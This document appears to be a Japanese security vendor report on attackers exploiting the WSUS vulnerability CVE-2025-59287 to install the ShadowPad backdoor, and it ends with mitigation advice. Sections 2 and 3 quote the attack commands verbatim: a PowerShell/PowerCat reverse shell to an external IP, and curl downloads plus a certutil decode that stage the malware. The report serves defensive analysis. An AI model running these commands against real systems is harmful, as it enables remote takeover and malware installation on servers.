1. 概要

AhnLab SEcurity intelligence Center(ASEC)は Microsoft Windows Server Update Services(WSUS)のリモートコード実行脆弱性(CVE-2025-59287)を悪用して ShadowPad マルウェアを配布した攻撃の状況を確認した。ShadowPadは多数の中国 APT 攻撃グループが使用しているバックドアマルウェアであり、2017年に初めて発見された後も製作者がモジュールの開発とアップデートを続けており、センチネルワンのレポートによれば中国が裏で操る APT 攻撃グループに非公開形式で販売されるものと知られている。本レポートでは、この脆弱性を悪用した初期侵入過程と ShadowPad マルウェアの動作方式および対応策を分析する。

攻撃者は WSUS サービスが有効な Windows Server を対象に CVE-2025-59287 脆弱性を悪用し、初期侵入を実行したあと、PowerShell ベースの Netcat プログラムである PowerCat オープンソースユーティリティ(https://github.com/besimorhino/powercat)を利用し、システムシェル(CMD)を取得した。その後 certutil および curl を利用し、ShadowPad マルウェアをダウンロードおよびインストールした。

2. 初期侵入(CVE-2025-59287)および拠点確保(PowerCat)

先月の10月14日、Microsoftは Microsoft Windows Server Update Services(WSUS)に存在する脆弱性に関するセキュリティ通知を掲載した。この脆弱性は Windows Server 環境で WSUS サービスが有効なサーバーに存在する脆弱性であり、システム権限でリモートコード実行が可能な深刻な脆弱性である。これに関して、10月22日に公開された PoC コード以降、10月30日 ASD(AhnLab Smart Defense)インフラではこの脆弱性が存在すると推定される Windows Server を対象に PowerCat が実行された履歴が確認された。これにより、攻撃者は対象システムの CMD シェルを取得したものと見られる。

[図1] CVE-2025-59287 を利用した PowerShell 実行ログ(PowerCat)

確認された PowerShell コマンドは以下の通りである。

• powershell.exe -c IEX (New-Object System.Net.WebClient).DownloadString (‘https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1’); powercat -c 154.17.26[.]41 -p 8080 -e cmd

3. マルウェアのインストール

攻撃者は、初期侵入後の11月6日に同じ脆弱性を悪用し、Windows の正常なユーティリティである curl.exe と certutil.exe を実行することによって、ShadowPad マルウェアをインストールした。

[図2] CVE-2025-59287 を通じた ShadowPad インストールログ

インストールに使用されたコマンドは以下の通りである。

• curl hxxp://149.28.78[.]189:42306/tmp.txt -o C:\users\%ASD%\tmp.txt & curl hxxp://149.28.78[.]189:42306/dll.txt -o C:\users\%ASD%\dll.txt & curl hxxp://149.28.78[.]189:42306/exe.txt -o C:\users\%ASD%\exe.txt
• certutil -decode C:\users\%ASD%\tmp.txt C:\programdata\0C137A80.tmp

4. ShadowPad

ShadowPad マルウェアは、単独の実行ファイルのみで動作せず、DLL Sideloading 手法を通じて動作するという特徴がある。今回確認された ShadowPad も、既存の他の ShadowPad 攻撃事例と同様、同じ名前を持つ EXE および DLL ファイルによって実行される。

[表1] ShadowPad DLL サイドローディング情報

今回の事例では、正常な EXE ファイル(ETDCtrlHelper.exe)が実行されると ShadowPad ローダーの役割を担う DLL(ETDApix.dll)がロードされ、メモリ上で動作する。同じパスに存在する 0C137A80.tmp ファイルが、Core ShadowPad 機能を実行する。この TMP ファイルにはバックドアの Config データも含まれている。以下の[表2]は、今回の攻撃事例で確認された ShadowPad の主要 Config 情報である。

[表2] ShadowPad 関連 Config 情報

5. 結論

脆弱性の PoC コードが公開された後、攻撃者はこれを素早く悪用し WSUS サーバーを通じて ShadowPad マルウェアを配布した。この脆弱性は、システム権限でリモートコードが実行される可能性があり、被害範囲が非常に大きくなる可能性がある。そのため、WSUS を使用している企業のセキュリティ担当者は以下のような措置を迅速に実行する必要がある。

1. Microsoft が提供する最新のセキュリティアップデート(CVE-2025-59287 関連パッチ) 適用
2. WSUS サーバーの外部公開の有無およびアクセス制御設定のチェック(Microsoft アップデートサーバーのみ WSUS にアクセスを許可し、残りのトラフィックに関しては TCP ポート 8530、8531 インバウンドトラフィック遮断検討)
3. 疑わしい PowerShell、certutil.exe、curl.exe コマンドの実行履歴およびネットワーク接続ログのチェック